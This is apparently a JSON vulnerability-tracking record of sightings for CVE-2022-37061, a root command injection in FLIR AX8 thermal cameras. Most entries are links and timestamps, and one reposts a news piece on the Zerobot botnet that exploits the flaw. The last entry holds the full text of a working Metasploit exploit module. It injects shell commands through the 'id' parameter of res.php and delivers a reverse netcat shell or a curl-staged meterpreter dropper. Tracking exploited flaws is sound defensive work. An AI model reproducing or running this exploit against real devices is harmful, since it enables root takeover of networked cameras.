{"vulnerability": "CVE-2022-37061", "sightings": [{"uuid": "0e1b3056-0dcc-48f3-a6cc-06ecdebc3211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "MISP/151f3a86-c3aa-4631-bb91-65293ae75bbe", "content": "", "creation_timestamp": "2023-06-27T15:16:19.000000Z"}, {"uuid": "74e5c59f-3b97-4272-a31f-d54586aab672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "0c235f2b-62c3-4afc-92cb-c5c822b2ab23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:48.000000Z"}, {"uuid": "d82a2dca-64f0-4753-a3d5-e6acefe958a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmzyvy5mjp27", "content": "", "creation_timestamp": "2025-04-17T21:02:29.024244Z"}, {"uuid": "eeaa06f7-c8ce-42fb-a182-429ecc81c0e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lqq6sws7ib2u", "content": "", "creation_timestamp": "2025-06-03T21:02:16.209276Z"}, {"uuid": "2b29b9bb-12e2-448f-b1a5-c4d6c5bceb91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/flir_ax8_unauth_rce_cve_2022_37061.rb", "content": "", "creation_timestamp": "2022-11-01T18:06:49.000000Z"}, {"uuid": "5ff66ec8-e65c-401f-8e10-5327ae9934f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/cibsecurity/48367", "content": "\u203c CVE-2022-37061 (flir_ax8_firmware) \u203c\n\nAll FLIR AX8 thermal sensor cameras version up to and including 1.46.16 are vulnerable to Remote Command Injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-18T22:26:40.000000Z"}, {"uuid": "43158adf-d964-40f6-a536-e10f3663d6f4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/edfd056d-6007-4ff1-86e9-1d14f2885b61", "content": "", "creation_timestamp": "2026-06-23T14:06:14.990837Z"}, {"uuid": "bde396be-7856-40d6-81e3-092e16080a9e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-37061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/155e19a1-60b9-4051-9d52-88b9b3c242d5", "content": "", "creation_timestamp": "2026-06-30T10:01:16.134262Z"}, {"uuid": "cb6b2d4c-e47f-4e65-9db4-9728f3f48545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "creation_timestamp": "2026-09-01T20:01:14.474728Z"}, {"uuid": "86144110-3f75-4a63-81a9-c43d0853c9b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/75075", "content": "Exploit Collector\nFLIR AX8 1.46.16 Remote Command Injection\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.\n\nSHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'FLIR AX8 unauthenticated RCE',\n'Description' => %q{\nAll FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.\nThis can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter\nin the res.php endpoint.\n\nThis module uses the vulnerability to upload and execute payloads gaining root privileges.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher\n'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher\n'h00die-gr3y' # metasploit module\n],\n'References' => [\n['CVE', '2022-37061'],\n['PACKETSTORM', '168114'],\n['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],\n],\n'DisclosureDate' => '2022-08-19',\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_ARMLE],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/reverse_netcat'\n}\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_ARMLE],\n'Type' => :linux_dropper,\n'CmdStagerFlavor' => [ 'curl', 'printf' ],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'\n}\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'RPORT' => 80,\n'SSL' => false\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\nend\n\ndef execute_command(cmd, _opts = {})\naction_id = rand(1..40)\nreturn send_request_cgi({\n'method' => 'POST',\n'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',\n'uri' => normalize_uri(target_uri.path, 'res.php'),\n'vars_post' => {\n'action' => 'alarm',\n'id' => \"#{action_id};#{cmd}\"\n}\n})\nrescue StandardError => e\nelog(\"#{peer} - Communication error occurred: #{e.message}\", error: e)\nprint_error(\"Communication error occurred: #{e.message}\")\nreturn nil\nend\n\n# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution\ndef check\nprint_status(\"Checking if #{peer} can be exploited!\")\nsleep_time = rand(5..10)\nprint_status(\"Performing command injection test issuing a sleep command of #{sleep_time} seconds.\")\nres, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nreturn Exploit::CheckCode::Unknown('No response received from the target!') unless res\n\nprint_status(\"Elapsed time: #{elapsed_time} seconds.\")\nreturn CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time\n\nCheckCode::Vulnerable('Successfully tested command injection.')\nend\n\ndef exploit\ncase target['Type']\nwhen :unix_cmd\nprint_status(\"Executing #{target.name} with #{payload.encoded}\")\nexecute_command(payload.encoded)\nwhen :linux_dropper\nprint_status(\"Executing #{target.name}\")\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:19.215921Z"}]}